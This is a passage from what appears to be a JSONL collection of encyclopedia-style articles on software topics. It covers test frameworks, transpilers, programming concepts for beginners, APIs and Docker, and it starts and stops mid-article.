test, one or more **assertions** are invoked. These compare current runtime status with expected status. If as expected, test execution continues. If not as expected, test fails. Stack trace may be recorded for later analysis. Extra logs may be taken. In all cases, final verdict from test execution is recorded. \n\nThe final stage is **reporting**. Reports in preferred formats will contain summary, test verdicts, test-level execution metrics, and access to logs or traces.\n\n\n### What features should I look for when choosing a test framework?\n\nAs in any tool, you should look at industry adoption, cost, performance, stability, scalability, (community) support, documentation, and features. Here are some features expected of a good framework:\n\n    + **Agnostic**: Agnostic of System Under Test (SUT), automation libraries, platform or OS.\n    + **Language**: What scripting languages are supported?\n    + **Usage**: Easy to install, configure and use.\n    + **Integration**: Integrates well with automation tools, Continuous Integration (CI) tools, issue tracking tools, etc.\n    + **Reporting**: Generates detailed reports and analytics on test executions. Captures failure logs. Collects execution metrics.\n    + **Customization**: Extend the framework. Group, tag, order or skip tests. Configure test environment.\n    + **Modular**: Clear separation of framework layer and automation test suite. Automation infrastructure should follow coding conventions and design patterns. Promotes reuse of modules or libraries.\n    + **Data**: Test scripts are separated from the data. Support for parameterized testing.\n    + **Discovery**: Discover tests in project paths and automatically compose test suites for execution.\n    + **Playback**: Record steps of manual tests and play them back for automated testing.\n\n### What are some types of test frameworks?\n\nTest frameworks differ in their approach to testing, which are briefly described as follows:  \n\n    + **Linear**: Tests are independent of one another, often created by recording manual actions and replaying them.\n    + **Module Based**: The application is tested in its smaller parts (functions, modules, sub-systems). Tests can be combined to enable system-level tests as well.\n    + **Library Based**: Reusable libraries are identified and written. Good for test maintenance and scalability.\n    + **Data Driven**: Focus is on executing a test with different input data. Data is read from databases or spreadsheets. There's a clear separation of test scripts and input data. Hard-coding of data within scripts is avoided.\n    + **Keyword Driven**: An extension of data-driven approach. Test execution is basically a sequence of steps defined by keywords. Keywords are mapped to objects and actions in a *shared object repository*. Promotes reuse.\n    + **Behaviour Driven**: Tests are written in a descriptive style so that even business stakeholders can understand them. Tests are in terms of behaviours and user-focused scenarios.\n    + **Hybrid**: A mix of the above.\n\n### Could you name some test frameworks out there?\n\nA blog post on DZone (March 2018) identified ten open source test frameworks: Selenium, Carina, EarlGrey, Cucumber, Watir, Appium, RobotFramework, Apache JMeter, Gauge and Robotium. Selenium is mainly for web apps while Appium is for mobile apps. Carina can use the automation of Selenium or Appium. Watir is based on Ruby while RobotFramework is based on Python. Watir supports data-driven testing while RobotFramework uses keyword-driven approach for acceptance testing. \n\nCucumber is a framework for Behaviour-Driven Development (BDD). Tests are written in **Gherkin** language and the focus is on acceptance testing. \n\nAnother list on TestBeacon includes Serenity, Cypress, RobotFramework, RedwoodHQ, Sahi, Galen, Gauge, Citrus, and Karate-DSL. Serenity uses Selenium WebDriver and BDD tools such as Cucumber and JBehave. Cypress enabled Test-Driven Development (TDD). Galen is useful for testing layouts and user experience. Gauge might suit TDD and BDD practitioners. Citrus is suitable for testing network calls such as REST or SOAP. \n\nSpecific to Android testing are Appium, Robotium, Selendroid, MonkeyTalk, Calabash, UI Automator, Magneto, Kobiton, Squish, SeeTest, KMAX, MonkeyRunner, Frank, KIF, and Testdroid. \n\nWikipedia has a long list of test frameworks.\n\n\n### How is a test automation tool different from a test framework?\n\nThere's a difference between a test framework and a test automation tool. An automation tool provides the implementation of testing actions. For example, Selenium WebDriver implements actions that mimic user actions on user interfaces. Thus, Selenium WebDriver is an automation tool.\n\nHowever, Selenium WebDriver can be called from within any framework that supports it. For example, *pytest* is a test framework in Python, and since Selenium has Python support, we can call Selenium WebDriver APIs from Python scripts that are managed by *pytest*. Tools such as Selenium IDE is a simple framework that has the automation part built into it.\n\n\n### How is a test management tool different from a test framework?\n\nA test management tool is more about managing the testing process. This includes interfacing to various tools and processes that manage requirements, plan product releases, do reporting, track defects, execute tests, etc. There are plenty of such tools in the market. A few of them include qTest, PractiTest, Zephyr, Test Collab, and TestFLO for JIRA. \n\nA test framework is more about writing, managing and executing the tests. They are also about test automation. While frameworks may integrate with other tools and processes, their focus is more on testing rather than the bigger picture.\n\n## Milestones\n\n1989\n\nAt WyattSoftware, Gary Goldberg manages his test cases in spreadsheets. This is for a financial software written in Smalltalk. His colleague Ward Cunningham writes a framework to read the tests and execute them. This is probably one of the earliest test frameworks.\n\n1994\n\nKent Beck writes **SUnit** for unit testing of Smalltalk code. It has only three classes (TestCase, TestSuite, TestResult) and twelve methods. \n\n1997\n\nInspired by SUnit, Kent Beck and Erich Gamma create **JUnit** for Java unit testing. \n\n2004\n\nAt ThoughtWorks, Jason Huggins creates what's now called **Selenium 1 Core** to automate web app testing. It uses scripts encoded in HTML tables. Selenium is today managed by the Software Freedom Conservancy. \n\n2012\n\nAt the Selenium Conference 2012, Dan Cuellar gives a lightning talk about automating iOS app testing using Selenium-style syntax written in C#. Later that year, he open sources the code and adds supports for Python. Jason Huggins adds Selenium WebDriver support. At the Mobile Testing Summit in November, it's launched as **Appium**. In 2016, Appium is handed over to JS Foundation.","meta":{"title":"Test Frameworks","href":"test-frameworks"}}
{"text":"# Transpiler\n\n## Summary\n\n\nSuppose you've written a program in one language but wish to convert this to another language, then you would invoke what's called a **transpiler**. The programming language at the input to the transpiler may be called the source language whereas the language at the output may be called the target language. A transpiler is sometimes called a **source-to-source compiler**. \n\nFor example, converting C++ code to C code will involve a transpiler. Converting Python code to Ruby code will involve a transpiler. Let's note that in these example both source and target languages are at the same level of abstraction. But let's say we convert Java code to bytecode, or C code to assembly code, then this is not called transpilation. Transpilers don't change the level of abstraction such as translating from a high-level language to assembly code, bytecode or machine code.\n\n## Discussion\n\n### How is a transpiler different from a compiler?\n\nA compiler converts high-level human-readable code to low-level instructions that can run on a computer. For example, a C compiler converts C code to machine executable code. A Java compiler converts Java code to what's called Java bytecode that's interpreted at runtime to execute on the target machine.\n\nA transpiler on the other hand usually works at the abstraction of high-level languages. The output code is still human readable. It cannot be executed directly unless its own compiler or interpreter is invoked. For example, a transpiler can convert Java code to C++ code. Programmer will still need to invoke a C++ compiler before executing the resultant machine code.\n\nHowever, some folks use these terms interchangeably. For example, VOC is stated to be transpiler from Python source code to Java bytecode when in actual fact these two are at different levels of abstraction. However, it's acceptable to call translations at the same level of abstraction as transpilation, such as from .ASM assembly code to .A86 assembly code.\n\nISO/IEC/IEEE 24765 defines five generations of languages that can be related to abstractions described above. \n\n\n### Why would I want to use a transpiler?\n\nHere are a few reasons for using a transpiler:\n\n    + **Migration**: Migrate legacy code to a modern language.\n    + **Compatibility**: Generate code conforming to an older version while developers benefit from features of a newer version, such as with browsers not updated to latest JavaScript standards.\n    + **Coding Skills**: Codebase can be transpiled to a language in which the skills are readily available. Or it might be a matter of preference. For example, those who are from OOP background prefer TypeScript. Python coders prefer CoffeeScript instead. In both cases, code is transpiled to JavaScript.\n    + **Performance**: Initial code was written for quick prototyping or project is moving to a different platform where another language is more suitable. Perhaps the target language has a better compiler that can generate more optimized code. For example, critical parts of a Python codebase can be transpiled to Fortran and then called from Python.\n    + **Tooling**: Source language has better IDEs, testing and debugging tools, such as with .NET and Visual Studio.\n\n### How does a transpiler work internally?\n\nA transpiler parses the code and extracts the tokens, which are the basic building blocks of the language. Language keywords, variables, literals and operators are examples of tokens. This step is a combination of lexical analysis and syntax analysis. Transpiler knows how to do this because it understands the syntax rules of the input language. Given this understanding, the transpiler builds what is called *Abstract Syntax Tree (AST)*. \n\nThe next step is to transform the AST to suit the target language. This is then used to generate code in the target language. \n\nAST Explorer is an online tool to help you view the AST given a piece of code in many popular languages.\n\n\n### Could you name some transpilers out there?\n\nJavaScript is a language that's been evolving at a regular pace but there are also lots of browsers out on the web using older versions of the language. Transpilers are therefore used commonly in the JS world to transpile code to ES5, a version that's supported by most browsers. There are lots of transpilers for JS but the popular ones are Babel, TypeScript and CoffeeScript. \n\nClojureScript transpiles from Clojure to JS. JSweet transpiles from Java to TypeScript or JS. GWT Web Toolkit, formerly known as Google Web Toolkit, enables Java programmers to use JS frontend for browser-based applications. GWT includes a transpiler from Java to JS. Script# transpiles from C# to JS. C2Rust and Corrode are two alternatives for transpiling C to Rust. \n\nVOC is a transpiler from Python to Java, which means that even Android apps can be built from a Python codebase. Python itself has two incompatible versions: 2 and 3. However, tools are available to convert from one version to the other: `2to3`, `modernize`, `futurize` and `pasteurize`. These could be termed as transpilers.\n\n## Milestones\n\n1979\n\nIntel publishes details of a converter called **CONV86**. It can convert from 8080/8085 assembly source code to 8086 assembly source code. Since the latter is a typed language, the converter assigns types to each symbol. Note that the term *converter* is used. The term *transpiler* possibly came later.\n\n1980\n\nTim Paterson writes **TRANS.COM** to translate Z80 assembly code into .ASM assembly code for the Intel 8086 processor. The process is not fully automated and requires manual corrections. \n\n1981\n\nGary Kildall writes a program called **XLT86** to transpile .ASM assembly code written for Intel 8080 processor into .A86 assembly code for the Intel 8086. The idea is to automatically port P/M-80 and MP/M-80 programs to CP/M-86 and MP/M-86 platforms. \n\n1983\n\nBjarne Stroustrup, the creator of C++, creates **Cfront** to transpile C++ code to C code since C++ doesn't have its own compiler at the time. Development of Cfront is discontinued in 1993. \n\n2010\n\nFacebook creates **HipHop for PHP (HPHPc)** for transpiling PHP to C++ for better runtime performance. This is deprecated in 2013 by HipHop Virtual Machine (HHVM) that uses just-in-time compilation. HPHPc did not fully support PHP, its performance flattened out and its deployment across all of Facebook's servers was not trivial. \n\nSep  \n2014\n\nSebastian McKenzie creates a transpiler named **6to5**, which translates ES6 code to ES5 code. In February 2015, this becomes **Babel**.","meta":{"title":"Transpiler","href":"transpiler"}}
{"text":"# Programming Concepts for Beginners\n\n## Summary\n\n\nComputers operate at a low level of bits and bytes that are difficult for humans to understand. To program a computer, we use higher level languages that are closer to how humans think and reason. These programming languages make it easier to us to instruct what a computer should do.\n\nWhile there are dozens of programming languages, all of them share a number of basic constructs. All languages must have constructs to do basic things such as initializing data, adding numbers, storing data, checking for certain conditions, repeating some tasks, and so on. This article introduces these basic concepts to someone new to programming.\n\nThe actual syntax of each language may be different. There are also different programming paradigms. These are not covered in this article.\n\n## Discussion\n\n### What's the difference between hardware and software?\n\nHardware refers to a physical device. For example, a computer and its peripherals such as monitor, keyboard, and mouse are all part of the hardware. Software is a set of instructions that are executed step by step to perform a specific task. Software is otherwise called *code* or *program*. \n\nAlthough we think of desktops and laptops as computing hardware, any device that executes a program can be considered a computing device. Thus, digital cameras and smartphones contain both hardware and software. Some devices such as Wi-Fi routers and firewalls are called networking devices because of their specialized functions, but these too contain both hardware and software.\n\nWe may say that hardware is tangible and software is not. Some say that hardware is about *atoms* and software is about *bits*. This is because software is made of ones and zeros, which are the values that a bit can take. \n\nComputing hardware without software does nothing and is therefore useless. Software needs hardware to do its job. Thus, both are needed for delivering a useful application.\n\n\n### Why do we need programming languages?\n\nComputers have been designed to work with ones and zeroes. They can't understand human languages. However, writing a program with ones and zeros is extremely hard for human programmers. Programming languages have therefore been invented for this reason. \n\nPrograms are written in **high-level languages** such as C, Java or Python. Such languages are independent of the hardware architecture on which they are meant to execute. This has the added advantage that the same program can execute on different hardware. There are tools called *compilers* or *interpreters* that translate high-level code into lower level instructions. \n\nIt's possible to write programs using hardware-specific instructions called **assembly-level languages**. In fact, compilers output assembly code. *Assemblers* translate them into machine code of ones and zeroes. Hand-crafted assembly code may be more optimized code (in terms of memory or speed). The trade-off is that such code can't be reused across different hardware architectures.\n\n\n### What are the basic constructs of a programming language?\n\nHere are some basic constructs of any language: \n\n    + **Variables**: These are names for easy storage and access of data. A program is essentially about manipulating and storing data.\n    + **Expressions**: Data needs to be manipulated and expressions involving mathematical operations are used to achieve this.\n    + **Assignments**: The output of an expression, if needs to be stored into a variable, is saved using an assignment.\n    + **Conditionals**: Program execution sometimes involves branching based on conditions. If some condition is true, do one thing; if not true, do something else.\n    + **Loops**: When something has to be repeated a number of times, loops are useful. Loops typically have well-defined exit conditions.For example, `balance` is a variable to refer to a person's bank account balance. The expression `newbalance = balance - withdrawal` calculates new balance from two variables and assigns the result to another variable. The condition `if (balance > 0)` checks if the balance is positive. To calculate the sum of all withdrawals, stored in `all_withdrawals`, we would use a loop such as `for i in all_withdrawals: total_withdrawals += i`, assuming that `total_withdrawals` is initialized to zero.\n\n\n### How is data stored and manipulated during program execution?\n\nContent stored in memory is of two types: **instructions** that are executed by the computer; and **data** that are accessed and manipulated by instructions. Using memory addresses, instructions point to relevant data that need to be processed. Variables are simply names that translate to memory addresses where their values are stored. \n\nConsider the statement, `a = a + b`, where \"a\" and \"b\" are two variables. In algebra, this equation implies that \"b\" must be zero. In computing, this is not an equation but an assignment statement. The right side is evaluated and the result is assigned to the left side. For example, if \"a\" and \"b\" start with values 3 and 4, after this execution, \"a\" will contain the value 7 while \"b\" will remain unchanged. In this example, we're are not concerned with preserving the original value of \"a\" and hence we overwrite it with the recent result. To preserve the original value, we can introduce another variable (memory location), `c = a + b`.\n\n\n### What are the common types of data?\n\nNumeric data is mostly either an **integer** or a **decimal**. Programmers can specify how much memory they wish to allocate to number variables using type names such as short, long, float, or double. More memory implies a bigger range of values.\n\nAmong the non-numeric types is the **character** type. A sequence of characters form a **string**. Thus, \"Hello World\" is a string of characters, enclosed in quotes. To store the result of conditionals, we have **boolean** types that have only two valid values: true or false. \n\nIt's common to deal with a sequence of data values. For example, we wish to store the names of all students in a single variable. We can do this by creating a **list** or **array** data type. Each item of the list can be accessed using an index. In computing, indices often (but not always) start with zero. \n\nSince arrays accept only integer indices, we can create an **associative array** (also called **map** or **dictionary**) that accept strings as indices. This is useful when storing key-value pairs. \n\n\n### What are conditional expressions?\n\nAny expression that yields a boolean result of either true or false can be considered a conditional expression. For example, `balance > 0` is a numerical comparison that has a boolean result; `lastname == 'Smith'` is a string comparison that has a boolean result.\n\nThe purpose of such expressions is to do branching in code. For example, if account balance is positive, allow withdrawal; else, show customer an error message.\n\nConditional expressions can be combined using **logical operators**. The most common of these are the \"and\" and \"or\" operators. For example, `firstname == 'John' and lastname == 'Smith'` can be true only for John Smith. Another example is `balance <= 0 or accountDisabled` where `accountDisabled` is of boolean type. If either condition is true, we disallow account withdrawal. A value can be inverted using \"not\" operator. \n\nWhen combining multiple boolean expressions, **Boolean logic** is used to determine the final result. \n\n\n### What are the different ways of implementing loops?\n\nThere are three main looping constructs: \n\n    + **do-while**: One or more statements are executed, then a condition is checked. If condition remains true, the next iteration of the loop is entered. If condition is false, loop is exited.\n    + **while**: Similar to do-while, but the condition if checked first. This implies that statements within the loop may not be executed even once if the condition starts as false. This is unlike do-while where the statements execute at least once.\n    + **for**: This starts with an initialization, such as initializing a loop counter. Then the condition if checked, and if true, loop statements are executed. Next, the loop counter is incremented before attempting the next iteration.Statements within the loop can be any valid programming construct. They can contain their own loops, resulting in *nested loops*. They can contain conditions, which if false, can help us exit the loop completely or skip following statements and move to the next iteration. These are usually called `break` and `continue` loop statements respectively. \n\n\n### What are comments in the context of programming?\n\nA programmer may write excellent code but he or she is most likely not the only person reading that code. Other members of the development team and managers will read the code. Code will be maintained and possibly improved by others. To make it easier for others to understand the code, it's good practice to write comments. The purpose of comments is to explain what the code does, particularly those parts that may not be obvious. \n\nComments are meant for humans and are ignored by compilers and interpreters. In other words, comments don't affect program execution. However, some tools process comments with the goal of automatically generating software documentation. This documentation is again useful for only humans. Some tools use comments to give hints and warnings to programmers while they write code. This enables programmers to catch problems early. \n\n\n### What's the purpose of functions, classes and methods?\n\nModern applications are often complex, running into thousands or even millions of lines of code. The solution is to break up a large program into small manageable units, each of which connects with other units via well-defined interfaces.\n\nA **function**, also called a *subroutine* or a *procedure*, is a block of code that encapsulates a specific functionality. It takes in input parameters, executes and returns an output. Thus, functions can be called from other parts of code with different inputs. They promote code reuse. For example, `float add(float a, float b)` is a function that takes two decimal numbers, adds them up and return the result as a decimal number. Calling `add(2.3, 1.2)` should return 3.5 as result.\n\nA **class** encapsulates not only code but also data and expose well-defined interfaces. Functions encapsulated within classes are called **methods**. Consider `Rectangle` as a class with two data attributes `length` and `breadth`. One of its methods could be `float area()` that returns the rectangle's area as a decimal number.\n\n\n### What tools does a programmer need to program a computer?\n\nTo write code, the programmer needs at least a text editor. A better approach is to use an **Integrated Development Environment (IDE)**. IDEs provide a useful set of features out of the box. These include language syntax highlighting, flagging programming errors, powerful code search, code formatting, and many more. \n\nCode must be compiled or interpreted into their lower level instructions. Thus, programmers need to install **compilers** or **interpreters**. For example, C and C++ are compiled whereas JavaScript and Python are interpreted.\n\nWhat if the program doesn't work as expected during execution? Where could be the problem? This is where a **debugger** becomes a useful. A debugger can help us inspect the value of a variable step by step during program execution. We can also ask the program to break at a specific line of code. \n\nCode undergoes changes. To keep track of who has changed what, a **Version Control System (VCS)** such as Git is essential. In coding projects, it's common to use many other tools for planning, scheduling, tracking progress, or recording issues.\n\n## Milestones\n\n1843\n\nAda Lovelace translates a French article written by Luigi Menabrea on the *Analytical Engine* invented by Charles Babbage. She adds extensive notes to the translation detailing how the Engine might be instructed by a sequence of operations to solve problems. She is often regarded as the \"world's first programmer\". \n\n1847\n\nGeorge Boole publishes *The Mathematical Analysis of Logic*. This shows the rules for manipulating expressions containing True and False values. This later influences the design of digital circuits and programming with boolean data types. \n\n1943\n\nAt the Moore School of Electrical Engineering of the University of Pennsylvania, work begins on *ENIAC*. Unlike earlier electromechanical computers, ENIAC is electronic (no moving parts) and therefore more than thousand times faster. Possibly inspired by telephone switchboards, it's programmed using panel wiring and switches. It uses 18,000 vacuum tubes and weighs 30 tons. \n\n1947\n\nHerman H. Goldstine and John von Neumann invent a graphical method to represent the execution flow of a program. This is called a **flow diagram**, later named as *flowchart*. \n\n1952\n\nMathematician Grace Hopper completes **A-0 compiler** that allows the use of English-like words instead of numbers to program a computer. This marks the beginning of the move towards high-level programming languages and compilers. \n\n1968\n\nEdgser Dijkstra publishes an article titled *Go To Statement Considered Harmful*. Goto is a programming construct that allows execution to jump to another part of the code. Dijkstra recognizes that excessive use of goto can result in confusing code. The alternative is to adopt **structured or procedural programming**. In modern programming languages, goto is not quite as bad since jumps are restricted. \n\n1985\n\nBjarne Stroustrup publishes *The C++ Programming Language*. This makes C++ the dominant **object-oriented language** to tackle complex applications. \n\n1990\n\nThis decade sees the invention of a number of high-level languages: Python (1991), Java (1994), and JavaScript (1995). Python and JavaScript are interpreted languages. Java is compiled to bytecode, which is then executed by the Java Virtual Machine.","meta":{"title":"Programming Concepts for Beginners","href":"programming-concepts-for-beginners"}}
{"text":"# Application Programming Interface\n\n## Summary\n\n\nThe Application Programming Interface (API) is a technology that allows two software components to interact with one other without knowing how they're implemented.  The term \"application\" in API refers to any software that performs a certain activity. The agreement between two such software to interact is known as the \"interface\". \n\nIn any API, one entity provides the API via an endpoint and another entity consumes the API by making an API call. An API's documentation or specification will describe how to use it, how it is organised, and how it interacts with other APIs. \n\nFor instance, suppose each airline operator exposes its data via an API. An online ticketing portal gathers data from various airlines via these APIs and then shows aggregated data to end users. Users can compare prices, view schedules and book tickets.\n\n## Discussion\n\n### Why do we need APIs?\n\nAPIs connect different applications. It can connect two or more components from separate applications to perform some functions and share data. APIs are useful for building strong and robust applications since they allow developers to reuse capabilities while also reducing code size, which enhances user experience and application security. \n\nMany businesses use API to provide a smooth experience of using backend architecture, allowing users to interact with them more easily. It's often shared with third-party developers so that they can integrate it with other services. It also reduces the issues of incompatibility and eliminates the need for recreating it for various platforms conversions which is expensive. \n\nAPIs provide flexibility to businesses by allowing them to easily connect with their new partners or provide new services from existing products. They can easily switch to create new products, which could potentially generate large profits. \n\nUltimately, APIs are designed for machines, not humans. API is not directly related to UI/UX. In the world of IoT and automation, APIs are becoming critical.  Siemens has patented the concept of human programming interfaces for future human-machine interaction in an automation environment. \n\n\n### What is an API-first approach?\n\nThe concept of API-first started with the adoption of microservices in which applications are built as independent components and coupled together via API. Major companies such as Netflix, Amazon, and PayPal have moved to microservices architecture for their applications with great success. \n\nAPI-first refers to giving APIs first priority in the development of software products. There's no widely accepted definition of the term API-first. This API-first strategy improves developer experience by introducing consistency, as they employ the same format and styles throughout the development. A style guide may be utilised by teams throughout since it documents the status code, error handling techniques, versioning strategies, and other API specifics. It ensures the consistency and reusability of all APIs.  \n\nThe OpenAPI Specification is the most extensively used API specification language (also known as the Swagger Specification). While alternative API definition languages, such as RAML and API Blueprint, exist OpenAPI has become the standard practice. \n\n\n### What are the characteristics of a good API?\n\nWe note three characteristics:\n\n    + **Effective Documentation**: API documentation is a written reference for effectively utilising API functionalities. It should be simple for developers to grasp. A solid API documentation should be created for users who are unfamiliar with that specific API. It should also include examples describing usage of various functionality in an API created through documentation software.\n    + **Error Handling**: Precise usage of error codes is must in an API. Error codes in responses help clients to understand the exact cause of the problem. Appropriate HTTP status code will also provide a positive user experience. Besides alerting them, these assist clients in fixing the problem. Generally, error codes 400-499 imply client-side errors, while 500-599 imply server-side errors.\n    + **Authorization and Authentication**: Authorization is a process of evaluating access privileges to an endpoint or a method of an API, whereas authentication is the process of validating credentials like user session, id, or password provided through the request.\n\n### What is meant by implementation hiding in API design?\n\nIn the restaurant example above, a customer interacts only with the waiter and not the cook. The waiter informs the cook the order, picks up the order when it's ready and serves it to customer. The customer has no idea what happened in the middle or how the meal was prepared by the cook. \n\nSimilarly in software, an ideal API will hide its implementation details. It will provide a generic solution without exposing implementation. This is called information hiding. API users don't care about inner workings. All they expect is simplicity of use. Furthermore, by concealing implementation details the API provider can subsequently alter or improve inner workings without impacting client applications that consume the API. This also builds trust with clients. \n\nSometimes an API fails to properly hide underlying implementation details. We call this a leaky abstraction, which is something to be avoided. \n\n\n### What are the different types of API?\n\nCategorised by use cases, we note the following:\n\n    + **Operating System APIs**: These APIs ensure tasks run inside operating systems smoothly. It interacts with its own resources and services. These APIs will be specific to each operating system. Linux employs kernel-user space API, while Microsoft uses Windows API.\n    + **Remote APIs**: Provider and consumer of the API are on different machines. They communicate over a local network and/or the internet. These APIs are typically developed in web standards. Java Database Connectivity API is a remote API in Java. Even though not all remote APIs are web APIs, they can be thought of as remote APIs.\n    + **Web APIs**: These primarily use HTTP to receive requests/responses in the form of XML or JSON.  These are often synchronous and stateless.\n    + **Database APIs**: These APIs are used as interface between database management systems and applications in order to query, read, write, or modify data on a remote database.  In general, backend APIs are asynchronous and stateful. They facilitate complex integrations.\n    + **Language APIs**: Programming languages provide built-in APIs such as classes, methods, macros and even extensive libraries, such as Collections in Java and Standard Template Library (STL) in C++.\n\n### What are the different types of release policies for an API?\n\nHere are some API types organised by release policy rather than design style:\n\n    + **External or Public API**: It's extensively used by third-party developers or users external to the organization. It's built with most robust technologies keeping high consumption in mind. Google Maps API is one example of Public API which is widely used by delivery apps and ride-sharing companies for directions and real-time location tracking.\n    + **Internal or Private API**: It's for internal use typically within a team or organisation. It's a common type of API that is simple to develop as it doesn't require robust infrastructure for small consumer base. Because of recent practices like DevOps and microservice architecture, this type of API is essential.\n    + **Partner API**: This is neither entirely private nor completely public. These APIs can be accessed by people outside the organisation or team but with special authorization. Examples include Twitter or AirBnB, where access is restricted to authorised users only.\n    + **Composite API**: Composite APIs merge many API data requests into one. It saves data usage in applications by reducing the amount of API requests.\n\n\n## Milestones\n\n1960\n\nDevelopers start building libraries to share procedural language capabilities with other developers. Because API has no formal definition, this is a conceptual application. These languages have subroutines, which are chunks of code that can be invoked and collaborated on by other programmers. It can be used without exposing the internal code of the libraries. \n\nDec  \n1968\n\nIn the paper titled *Data structures and techniques for remote computer graphics*, Cotton and Greatorex use the term **Application Program Interface** (without -ing suffix). This paper describes independent hardware for computer graphics system. \n\nMay  \n1981\n\nIn a dissertation, Nelson introduces a new method of API interaction called **Remote Procedure Call (RPC)**. It can communicate with a piece of code on another remote server, just like a local computer. \n\n1988\n\n**Portable Operating System Interface (POSIX)** standard is introduced to solve the portability issues. It defines an interface between hardware and operating system, specifying application programming interfaces (APIs) at the source level.  \n\n1990\n\nMalamud, in his book *Analyzing Novell Networks* defines API as \"a set of services available to a programmer for performing certain tasks.\" \n\nOct  \n1991\n\nObject Management Group (OMG) defines the Common Object Request Broker Architecture (CORBA) as a standard. In CORBA, software components are treated as objects running on multiple systems and able to communicate with one another. An object could be written in any programming language. Objects are specified using an Interface Definition Language (IDL) syntax. The version 1.0 release supports C Language mapping.  CORBA uses Object Request Broker (ORB) to communicate between client and server applications. \n\nSep  \n1996\n\nMicrosoft introduces Distributed Component Object Model (DCOM), an improved version of the older Component Object Model (COM) for Windows 95. This enables communication between components like as ActiveX controls, scripts, and Java applets that exist on several machines on a LAN, WAN, or on the Internet through the use of Remote Procedure Calls (RPCs), allowing distributed communication across multiple networks. \n\nNov  \n1999\n\nMicrosoft, UserLand Software and DevelopMentor jointly release **Simple Object Access Protocol (SOAP)** which uses Extensible Markup Language (XML) syntax to send RPC messages over HTTP. SOAP links COM and DCOM objects and runs natively in Windows 95, 98 and NT. It can also connect with Internet Explorer and Java. \n\n2000\n\nRoy Thomas Fielding, a Ph.D scholar, introduces the concept of Representational State Transfer (REST) in his dissertation. It's a network-based architectural style that later popularizes the usage of web APIs. \n\nFeb  \n2000\n\nSalesforce launches its web API at the IDG Demo conference. It's a enterprise-class, web-based Salesforce automation offered as a \"Internet as a Service.\" In December, eBay launches their API to a selected number of developers and partners. \n\nJul  \n2002\n\nAmazon Inc launches Amazon.com Web Services API. This enables developers or third-party websites to display Amazon products in their websites in XML format. \n\nMar  \n2008\n\nApple releases iPhone 2.0 software. This includes the iPhone Software Development Kit (SDK). The SDK comprises a set of APIs and tools for developing iPhone and iPod applications. It also includes Core OS, Core Services, Media, and Cocoa Touch interfaces. \n\nFeb  \n2015\n\nGoogle open sources **gRPC**, a framework for handling remote procedure calls. The underlying transport protocol is HTTP 2.0. gRPC differs from HTTP in that it is based on the Remote Procedure Call (RPC) model, in which addressable \"entities\" of a collection are called procedures and the data is hidden behind the procedures. In contrast, in HTTP, addressable entities are called \"data entities\" and their behaviour is hidden behind data. Because gRPC is founded on HTTP 2.0 standards, it has many more capabilities that help speed up services while conserving resources such as energy and data. \n\nSep  \n2015\n\nWhen Facebook developers attempt to build native Facebook implementations for iOS and Android instead of using the mobile-webview, which had some restrictions, they start to run into a lot of problems. They tried to use RESTful architecture, but it didn't meet their needs because they wanted the data to look like a graph of objects and models. They needed an API to display the newsfeed, which had previously been displayed as HTML. As a result, they create **GraphQL**, a new project that defines data query language in a new way to assist product designers.  \n\nJun  \n2019\n\nAccording to Programmable Web, an API research website, its API directory surpassed 22,000 APIs. Every month, an average of 220 APIs are introduced, representing a 30% increase over the previous four years. API adoption has been growing since 2005. API developers have begun to offer APIs in alternative architectures such as GraphQL and gRPC in addition to traditional REST, resulting in a larger directory.","meta":{"title":"Application Programming Interface","href":"application-programming-interface"}}
{"text":"# Docker\n\n## Summary\n\n\nA container is a standard unit of software that packages an application with all of its dependencies and libraries. This makes it easy to deploy applications within containers regardless of hardware configuration or operating system. Unlike virtual machines, containers use the host OS rather than bundling an OS with the application. \n\nDocker is a container platform. It provides a complete ecosystem of tools to build container images, pull these images from known registries, deploy containers, and manage or orchestrate running containers across a cluster of machines. Docker has popularized container adoption. Even the phrase \"dockerize my app\" has become common. \n\nThe word \"Docker\" usually refers to its engine. The commercial offering is called *Docker Enterprise*. There's also the free community edition that's simply called *Docker Engine*. Docker was initially available on Linux but later become available on MacOS and Windows as well.\n\n## Discussion\n\n### What are the benefits of using Docker?\n\nDocker provides a consistent runtime across all phases of a product cycle: development, testing, and deployment. For example, if development team has upgraded one dependency, other teams must also do the same. If they don't, app may work during development but fail in deployment or work with unexpected side effects. Docker overcomes this complexity by providing a consistent environment for your app. Hence, it's become essential for DevOps practice. \n\nDocker containers are smaller in size and boot up faster compared to VMs. They're also more cost efficient since many more containers than VMs can run on a machine. \n\nDocker is open source. There's freedom of choice since any type of application (legacy, cloud native, monolithic, 12-factor) can run in a Docker container. Security is built into the Docker Engine by default. It's powered by some of the best components such as the *containerd*. There's also powerful CLI and API to manage containers. Via certified plugins, we can extend the capabilities of the Docker Engine. \n\n\n### What do you mean by the term \"Docker image\"?\n\nA Docker image is a read-only template from which containers are created. Here's a useful analogy: just as objects are instantiated from classes in object-oriented languages, Docker containers are instantiated from Docker images.\n\nFor example, your application may require an OS and runtimes such as Apache, Java or ElasticSearch. All these can be bundled into a Docker image. Thus, your app can have this exact runtime environment wherever it runs. \n\nAn image is built in multiple read-only layers. At the bottom, we might have bootfs and OS base image such as Debian. Higher layers could have custom software or libraries such as Emacs or Apache. This layering mechanism makes it easy to build new images on top of existing images. When an image gets instantiated into a running container, a thin writable layer is added on top, called **Container Layer**. This means that all changes go into the topmost layer. In fact, the underlying file system doesn't make a copy of the lower layers since they are read-only. This helps us bring up containers quickly. \n\n\n### How do developers share Docker images?\n\nA remote location where Docker images are stored is called the **Docker Registry**. Images are pulled from and new images are pushed to the registry. Without registries, it would be difficult to share and reuse images across projects. There are many registries online and **Docker Hub** is the default one. Just as developers share code via GitHub, Docker images are shared via Docker Hub. \n\nBesides Docker Hub, here are some other registries: Gitlab, Quay, Harbor, and Portus. Registries from cloud providers include Amazon Elastic Container Registry, Azure Container Registry, and Google Container Registry. \n\nA collection of images with the same name but different tags is called **Docker Repository**. A tag is an identifier for an image. For example, \"Python\" is name of the repository but when we pull the image \"Python:3.7-slim\", we refer to the image tagged with \"3.7-slim\". In fact, it's possible to pull by mentioning only the repository name. A default tag (such as \"latest\") will be used and only that image will be pulled. Thus, these two commands are equivalent: `docker pull rhel7` or `docker pull registry.access.redhat.com/rhel7:latest` . \n\n\n### Which are the essential components of the Docker ecosystem?\n\nThe **Docker Engine** is a client-server app of two parts: the **Docker Client** and the **Docker Daemon**. Docker commands are invoked using the client on the user's local machine. These commands are sent to daemon, which is typically running on a remote host machine. The daemon acts on these commands to manage images, containers and volumes. \n\nUsing **Docker Networking** we can connect Docker containers even if they're running on different machines. What if your app involves multiple containers? This is where **Docker 